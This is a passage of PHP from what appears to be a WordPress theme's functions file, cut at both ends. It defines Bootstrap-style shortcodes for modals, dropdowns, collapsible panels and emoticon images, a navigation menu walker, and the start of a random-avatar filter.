$textPart = '<div class="block text col-sm-' . $textCol . $pullClass . '"><div class="content">' . do_shortcode(wpautop($content)) . '</div></div>';
if ($content) {
return '<div class="flexContainer">' . $imgPart . $textPart . '</div>';
} elseif ($img != '') {
return '<div class="flexContainer"><img src="' . $img . '" style="width:100%;height:100%;"></div>';
} else {
return '<div class="flexContainer linear" style="border:none; height: 1px; background-color: #f2f4f6;"></div>';
}
}
add_shortcode("fmt", "shortCodeArticleFormat");
function shortCodeModal($atts, $content = null)
{
extract(shortcode_atts(array(
"id" => '',
"btn_type" => '',
"btn_label" => 'button',
"title" => '标题',
"close_label" => '关闭',
"href_label" => '跳转到',
"href" => ''
), $atts));
if ($href) {
$href_btn = '<button type="button" class="btn btn-primary" data-dismiss="modal" onclick=window.open("' . $href . '")>' . $href_label . '</button>';
} else {
$href_btn = '';
}
if ($id) {
return '<button type="button" class="btn ' . $btn_type . '" data-toggle="modal" data-target="#' . $id . '">' . $btn_label . '</button><div class="modal fade" id="' . $id . '" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button><h4 class="modal-title" id="myModalLabel">' . $title . '</h4></div><div class="modal-body">' . do_shortcode($content) . '</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">' . $close_label . '</button>
' . $href_btn . '
</div></div></div></div>';
}
}
add_shortcode("modal", "shortCodeModal");
function shortCodeDropdown($atts, $content = null)
{
extract(shortcode_atts(array(
"id" => '',
"btn_type" => 'btn-default',
"btn_label" => 'Dropdown',
), $atts));
if ($id) {
return '<div class="dropdown"><button class="btn ' . $btn_type . ' dropdown-toggle" type="button" id="' . $id . '" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
' . $btn_label . '
<span class="caret"></span></button><ul class="dropdown-menu" aria-labelledby="' . $id . '">
' . do_shortcode(shortcode_unautop($content)) . '
</ul></div>';
}
}
add_shortcode("dropdown", "shortCodeDropdown");
function shortCodeDropdown_li($atts, $content = null)
{
extract(shortcode_atts(array(
"href" => '',
), $atts));
if ($href) {
$inner = '<a href="' . $href . '" target="_blank">' . $content . '</a>';
} else {
$inner = '<a>' . $content . '</a>';
}
return '<li>' . $inner . '</li>';
}
add_shortcode("li", "shortCodeDropdown_li");
function shortCodeCollapse($atts, $content = null)
{
extract(shortcode_atts(array(
"id" => '',
"btn_type" => 'btn-default',
"btn_label" => 'collapse',
), $atts));
if ($id) {
return '<button class="btn ' . $btn_type . '" type="button" data-toggle="collapse" data-target="#' . $id . '" aria-expanded="false" aria-controls="' . $id . '">
' . $btn_label . '
</button><div class="collapse clearfix" id="' . $id . '"><div class="well">
' . do_shortcode($content) . '
</div></div>';
}
}
add_shortcode("collapse", "shortCodeCollapse");
class pandaTabs extends Walker_Nav_Menu
{
public function start_el(&$output, $item, $depth = 0, $args = array(), $id = 0)
{
global $wp_query;
$indent = ($depth) ? str_repeat("\t", $depth) : '';
$class_names = $value = '';
$classes = empty($item->classes) ? array() : (array)$item->classes;
$class_names = join(' ', apply_filters('nav_menu_css_class', array_filter($classes), $item));
$class_names = ' class="' . esc_attr($class_names) . '"';
$output .= $indent . '<li id="menu-item-' . $item->ID . '"' . $value . $class_names . '>';
$attributes = !empty($item->attr_title) ? ' title="' . esc_attr($item->attr_title) . '"' : '';
$attributes .= !empty($item->target) ? ' target="' . esc_attr($item->target) . '"' : '';
$attributes .= !empty($item->xfn) ? ' rel="' . esc_attr($item->xfn) . '"' : '';
$attributes .= !empty($item->url) ? ' href="' . esc_attr($item->url) . '"' : '';
$item_output = $args->before;
$item_output .= '<a' . $attributes . '>';
$item_output .= $args->link_before . apply_filters('the_title', $item->title, $item->ID) . $args->link_after;
$item_output .= '</a>';
$item_output .= $args->after;
$output .= apply_filters('walker_nav_menu_start_el', $item_output, $item, $depth, $args);
}
}
function mytheme_nav_menu_css_class($classes)
{
if (in_array('current-menu-item', $classes) or in_array('current-menu-ancestor', $classes)) {
$classes[] = 'active';
}
return $classes;
}
add_filter('nav_menu_css_class', 'mytheme_nav_menu_css_class');
function showFace($atts, $content = null)
{
extract(shortcode_atts(array(
"p" => '',
"g" => '',
), $atts));
if ($p != '') {
$name = $p;
$format = 'png';
} else {
$name = $g;
$format = 'gif';
}
return '<img src=' . get_stylesheet_directory_uri() . '/faces/' . $name . '.' . $format . ' class="cmt_faces">';
}
add_shortcode("face", "showFace");
add_filter('get_avatar', 'inlojv_custom_avatar', 10, 5);
function inlojv_custom_avatar($avatar, $id_or_email, $size, $default, $alt)
{
global $comment, $current_user;
if (count((array)get_option('random_avatar')) > 0) {
$current_email = is_int($id_or_email) ? get_user_by('ID', $id_or_email)->user_email : $id_or_email;
$current_email = is_object($current_email) ? $current_email->comment_author_email : $current_email;
$email = !empty($comment->comment_author_email) ? $comment->comment_author_email : $current_email;
if (get_option('random_avatar')) {
$random_avatar_arr = get_option('random_avatar');
} else {
$random_avatar_arr = array(
array(
"avatar" => get_stylesheet_directory_uri() . "/assets/imgs/default_avatar.jpg"
)